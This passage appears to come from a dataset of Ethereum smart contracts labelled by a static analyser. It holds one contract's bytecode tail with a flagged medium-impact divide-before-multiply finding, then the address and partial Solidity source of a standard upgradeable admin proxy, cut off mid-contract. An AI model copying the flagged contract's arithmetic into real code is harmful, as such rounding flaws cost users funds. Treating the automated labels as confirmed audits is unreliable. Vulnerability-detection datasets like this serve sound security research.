0000000000000000000000000000081526004016108a1906131b9565b60405180910390fd5b818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60005b848490508110156109c5576109b28585838181106109a6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135611f2c565b80806109bd906137d3565b91505061095f565b506109d284848484611878565b50505050565b6000600780549050905090565b60006109f082611669565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480610a8a57503373ffffffffffffffffffffffffffffffffffffffff166005600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80610b1b5750600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b51906131b9565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbf90613159565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2f90613199565b60405180910390fd5b818373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4826008600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190610d3590613777565b9190505550600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190610d8a906137d3565b9190505550600073ffffffffffffffffffffffffffffffffffffffff166005600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2d576005600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b6000600d60008481526020019081526020016000205490506001600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050610e949190613676565b811461108957600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050610f289190613676565b81548110610f5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110610fe1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555080600d6000600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061106b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001548152602001908152602001600020819055505b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806110fe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60019003818190600052602060002001600090559055600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050600d600085815260200190815260200160002081905550600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208390806001815401808255809150506001900390600052602060002001600090919091909150555050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821061125e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125590613259565b60405180910390fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106112d5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905092915050565b6112f182611f2c565b6000811115611305576113048282611329565b5b5050565b61132483838360405180602001604052806000815250611ad0565b505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc61134d84846121cd565b9081150290604051600060405180830381858888f19350505050158015611378573d6000803e3d6000fd5b505050565b6000600160078054905060005461139491906133ed565b61139e91906133ed565b905060006113ab82612414565b90506000816013546113bd91906134fe565b6012546113ca919061347a565b9050600d8211156113fd576001614000846113e59190613676565b6113ef91906133ed565b816113fa919061347a565b90505b6000601154600184600261141191906134fe565b61141b9190613676565b611425919061361c565b9050600060078054905060005460015461143f9190613676565b146114d957336007600e60006001896114589190613676565b8152602001908152602001600020548154811061149e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154876040516020016114bc9392919061300d565b604051602081830303815290604052805190602001209050611509565b33600254876040516020016114f09392919061300d565b6040516020818303038152906040528051906020012090505b828160001c1061154e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154590613299565b60405180910390fd5b813414611590576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158790613239565b60405180910390fd5b80426040516020016115a392919061304a565b6040516020818303038152906040528051906020012090506115c58582612456565b847f5570ed3da2dab8635dcc918badc12e05d60cbc9185347ef0065ab7335568cdae826040516115f5919061311c565b60405180910390a2505050505050565b6000600780549050821061164e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164590613259565b60405180910390fd5b600f6000838152602001908152602001600020549050919050565b600061167482611ec0565b6116b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116aa906132f9565b60405180910390fd5b6008600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60015481565b600061174882611ec0565b611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e906132f9565b60405180910390fd5b6007600e600084815260200190815260200160002054815481106117d4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b6060600a80546117f5906137a1565b80601f0160208091040260200160405190810160405280929190818152602001828054611821906137a1565b801561186e5780601f106118435761010080835404028352916020019161186e565b820191906000526020600020905b81548152906001019060200180831161185157829003601f168201915b5050505050905090565b6000805b858590508110156119785760008484838181106118c2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002013511156119655761195786868381811061190b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002013585858481811061194b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356121cd565b8261196291906133ed565b91505b8080611970906137d3565b91505061187c565b503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119bf573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611a249190613101565b60405180910390a380600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60005481565b60025481565b611adb8484846109e5565b6000833b905060008163ffffffff161115611c275760008490507f150b7a023d4804d13e8c85fb27262cb750cf6ba9f9dd3bb30d90f482ceeb4b1f7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168173ffffffffffffffffffffffffffffffffffffffff1663150b7a02338988886040518563ffffffff1660e01b8152600401611b7494939291906130b5565b602060405180830381600087803b158015611b8e57600080fd5b505af1158015611ba2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bc69190612a5c565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614611c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1c906131f9565b60405180910390fd5b505b5050505050565b6060611c3982611ec0565b611c78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6f906131d9565b60405180910390fd5b6000829050600081905060005b60008214611caf578080611c98906137d3565b915050600a82611ca8919061347a565b9150611c85565b60008167ffffffffffffffff811115611cf1577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611d235781602001600182028036833780820191505090505b50905060008290505b60008514611dfd57600181611d419190613676565b90506000600a8087611d53919061347a565b611d5d919061361c565b86611d689190613676565b6030611d749190613443565b905060008160f81b905080848481518110611db8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a87611df4919061347a565b96505050611d2c565b600b82604051602001611e11929190613076565b60405160208183030381529060405295505050505050919050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff166008600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b611f3581611ec0565b15611f75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6c906132d9565b60405180910390fd5b600154811115611fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb190613219565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b815260040161202c9190613319565b60206040518083038186803b15801561204457600080fd5b505afa158015612058573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061207c91906127ee565b73ffffffffffffffffffffffffffffffffffffffff16146120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c990613159565b60405180910390fd5b6000808154809291906120e490613777565b919050555061219d81600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637e551b75846040518263ffffffff1660e01b81526004016121489190613319565b60206040518083038186803b15801561216057600080fd5b505afa158015612174573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121989190612a0a565b612456565b807fd5837b673ffaac69230366d3f7eb7cb2ba2b9fd8f2d4e9d0f5e92d3756b1d54660405160405180910390a250565b60006121d882611ec0565b612217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220e90613279565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff1661223784611669565b73ffffffffffffffffffffffffffffffffffffffff161461228d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228490613159565b60405180910390fd5b601060008481526020019081526020016000205482116122e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d9906132b9565b60405180910390fd5b60006122ed84612414565b905060006001826122fe91906133ed565b600261230a91906134fe565b9050600060106000878152602001908152602001600020549050858110156123585785905060015481101561233f5760015490505b81811015612357576001826123549190613676565b90505b5b80851161239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613179565b60405180910390fd5b600081866123a89190613676565b6011546123b5919061361c565b9050856010600089815260200190815260200160002081905550867f56ca301a9219608c91e7bcee90e083c19671d2cdcc96752c7af291cee5f9c8c8826040516123ff9190613319565b60405180910390a28094505050505092915050565b60005b60008211156124425760028261242d919061347a565b9150808061243a906137d3565b915050612417565b60018161244f9190613676565b9050919050565b336008600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906124f8906137d3565b9190505550600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050600d600084815260200190815260200160002081905550600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020829080600181540180825580915050600190039060005260206000200160009091909190915055600780549050600e60008481526020019081526020016000208190555081600f60006007805490508152602001908152602001600020819055506007819080600181540180825580915050600190039060005260206000200160009091909190915055813373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600061269361268e84613365565b613334565b9050828152602081018484840111156126ab57600080fd5b6126b6848285613735565b509392505050565b6000813590506126cd8161393b565b92915050565b6000815190506126e28161393b565b92915050565b60008083601f8401126126fa57600080fd5b8235905067ffffffffffffffff81111561271357600080fd5b60208301915083602082028301111561272b57600080fd5b9250929050565b60008135905061274181613952565b92915050565b60008151905061275681613969565b92915050565b60008135905061276b81613980565b92915050565b60008151905061278081613980565b92915050565b600082601f83011261279757600080fd5b81356127a7848260208601612680565b91505092915050565b6000813590506127bf81613997565b92915050565b6000602082840312156127d757600080fd5b60006127e5848285016126be565b91505092915050565b60006020828403121561280057600080fd5b600061280e848285016126d3565b91505092915050565b6000806040838503121561282a57600080fd5b6000612838858286016126be565b9250506020612849858286016126be565b9150509250929050565b60008060006060848603121561286857600080fd5b6000612876868287016126be565b9350506020612887868287016126be565b9250506040612898868287016127b0565b9150509250925092565b600080600080608085870312156128b857600080fd5b60006128c6878288016126be565b94505060206128d7878288016126be565b93505060406128e8878288016127b0565b925050606085013567ffffffffffffffff81111561290557600080fd5b61291187828801612786565b91505092959194509250565b6000806040838503121561293057600080fd5b600061293e858286016126be565b925050602061294f85828601612732565b9150509250929050565b6000806040838503121561296c57600080fd5b600061297a858286016126be565b925050602061298b858286016127b0565b9150509250929050565b600080600080604085870312156129ab57600080fd5b600085013567ffffffffffffffff8111156129c557600080fd5b6129d1878288016126e8565b9450945050602085013567ffffffffffffffff8111156129f057600080fd5b6129fc878288016126e8565b925092505092959194509250565b600060208284031215612a1c57600080fd5b6000612a2a84828501612747565b91505092915050565b600060208284031215612a4557600080fd5b6000612a538482850161275c565b91505092915050565b600060208284031215612a6e57600080fd5b6000612a7c84828501612771565b91505092915050565b600060208284031215612a9757600080fd5b6000612aa5848285016127b0565b91505092915050565b60008060408385031215612ac157600080fd5b6000612acf858286016127b0565b9250506020612ae0858286016127b0565b9150509250929050565b612af3816136aa565b82525050565b612b0a612b05826136aa565b61381c565b82525050565b612b19816136bc565b82525050565b612b28816136c8565b82525050565b612b3f612b3a826136c8565b61382e565b82525050565b6000612b50826133aa565b612b5a81856133c0565b9350612b6a818560208601613744565b612b7381613910565b840191505092915050565b6000612b89826133aa565b612b9381856133d1565b9350612ba3818560208601613744565b80840191505092915050565b60008154612bbc816137a1565b612bc681866133d1565b94506001821660008114612be15760018114612bf257612c25565b60ff19831686528186019350612c25565b612bfb85613395565b60005b83811015612c1d57815481890152600182019150602081019050612bfe565b838801955050505b50505092915050565b6000612c39826133b5565b612c4381856133dc565b9350612c53818560208601613744565b612c5c81613910565b840191505092915050565b6000612c746005836133dc565b91507f6f776e65720000000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000612cb46009836133dc565b91507f756e646572666c6f7700000000000000000000000000000000000000000000006000830152602082019050919050565b6000612cf46004836133dc565b91507f7a65726f000000000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000612d34600a836133dc565b91507f7065726d697373696f6e000000000000000000000000000000000000000000006000830152602082019050919050565b6000612d746007836133dc565b91507f746f6b656e4964000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000612db46008836133dc565b91507f72656365697665720000000000000000000000000000000000000000000000006000830152602082019050919050565b6000612df46007836133dc565b91507f666f7267657279000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000612e346004836133dc565b91507f636f7374000000000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000612e746005836133dc565b91507f696e6465780000000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000612eb46013836133dc565b91507f7769746864726177556e74696c5f6578697374000000000000000000000000006000830152602082019050919050565b6000612ef4600a836133dc565b91507f646966666963756c7479000000000000000000000000000000000000000000006000830152602082019050919050565b6000612f346009836133dc565b91507f77697468647261776e00000000000000000000000000000000000000000000006000830152602082019050919050565b6000612f74600b836133dc565b91507f69735f6d696772617465640000000000000000000000000000000000000000006000830152602082019050919050565b6000612fb46007836133dc565b91507f696e76616c6964000000000000000000000000000000000000000000000000006000830152602082019050919050565b612ff08161371e565b82525050565b6130076130028261371e565b61384a565b82525050565b60006130198286612af9565b6014820191506130298285612b2e565b6020820191506130398284612ff6565b602082019150819050949350505050565b60006130568285612b2e565b6020820191506130668284612ff6565b6020820191508190509392505050565b60006130828285612baf565b915061308e8284612b7e565b91508190509392505050565b60006020820190506130af6000830184612aea565b92915050565b60006080820190506130ca6000830187612aea565b6130d76020830186612aea565b6130e46040830185612fe7565b81810360608301526130f68184612b45565b905095945050505050565b60006020820190506131166000830184612b10565b92915050565b60006020820190506131316000830184612b1f565b92915050565b600060208201905081810360008301526131518184612c2e565b905092915050565b6000602082019050818103600083015261317281612c67565b9050919050565b6000602082019050818103600083015261319281612ca7565b9050919050565b600060208201905081810360008301526131b281612ce7565b9050919050565b600060208201905081810360008301526131d281612d27565b9050919050565b600060208201905081810360008301526131f281612d67565b9050919050565b6000602082019050818103600083015261321281612da7565b9050919050565b6000602082019050818103600083015261323281612de7565b9050919050565b6000602082019050818103600083015261325281612e27565b9050919050565b6000602082019050818103600083015261327281612e67565b9050919050565b6000602082019050818103600083015261329281612ea7565b9050919050565b600060208201905081810360008301526132b281612ee7565b9050919050565b600060208201905081810360008301526132d281612f27565b9050919050565b600060208201905081810360008301526132f281612f67565b9050919050565b6000602082019050818103600083015261331281612fa7565b9050919050565b600060208201905061332e6000830184612fe7565b92915050565b6000604051905081810181811067ffffffffffffffff8211171561335b5761335a6138e1565b5b8060405250919050565b600067ffffffffffffffff8211156133805761337f6138e1565b5b601f19601f8301169050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b60006133f88261371e565b91506134038361371e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561343857613437613854565b5b828201905092915050565b600061344e82613728565b915061345983613728565b92508260ff0382111561346f5761346e613854565b5b828201905092915050565b60006134858261371e565b91506134908361371e565b9250826134a05761349f613883565b5b828204905092915050565b6000808291508390505b60018511156134f5578086048111156134d1576134d0613854565b5b60018516156134e05780820291505b80810290506134ee8561392e565b94506134b5565b94509492505050565b60006135098261371e565b91506135148361371e565b92506135417fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613549565b905092915050565b6000826135595760019050613615565b816135675760009050613615565b816001811461357d5760028114613587576135b6565b6001915050613615565b60ff84111561359957613598613854565b5b8360020a9150848211156135b0576135af613854565b5b50613615565b5060208310610133831016604e8410600b84101617156135eb5782820a9050838111156135e6576135e5613854565b5b613615565b6135f884848460016134ab565b9250905081840481111561360f5761360e613854565b5b81810290505b9392505050565b60006136278261371e565b91506136328361371e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561366b5761366a613854565b5b828202905092915050565b60006136818261371e565b915061368c8361371e565b92508282101561369f5761369e613854565b5b828203905092915050565b60006136b5826136fe565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015613762578082015181840152602081019050613747565b83811115613771576000848401525b50505050565b60006137828261371e565b9150600082141561379657613795613854565b5b600182039050919050565b600060028204905060018216806137b957607f821691505b602082108114156137cd576137cc6138b2565b5b50919050565b60006137de8261371e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561381157613810613854565b5b600182019050919050565b600061382782613838565b9050919050565b6000819050919050565b600061384382613921565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b60008160011c9050919050565b613944816136aa565b811461394f57600080fd5b50565b61395b816136bc565b811461396657600080fd5b50565b613972816136c8565b811461397d57600080fd5b50565b613989816136d2565b811461399457600080fd5b50565b6139a08161371e565b81146139ab57600080fd5b5056fea2646970667358221220fad6a40f64a0d12643eace2cde0ce5076156d99af8a473f28b73b315818f585564736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 364 |
0x844be1f096894d3bfc44640dc2875ca3c7f20827 | /**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
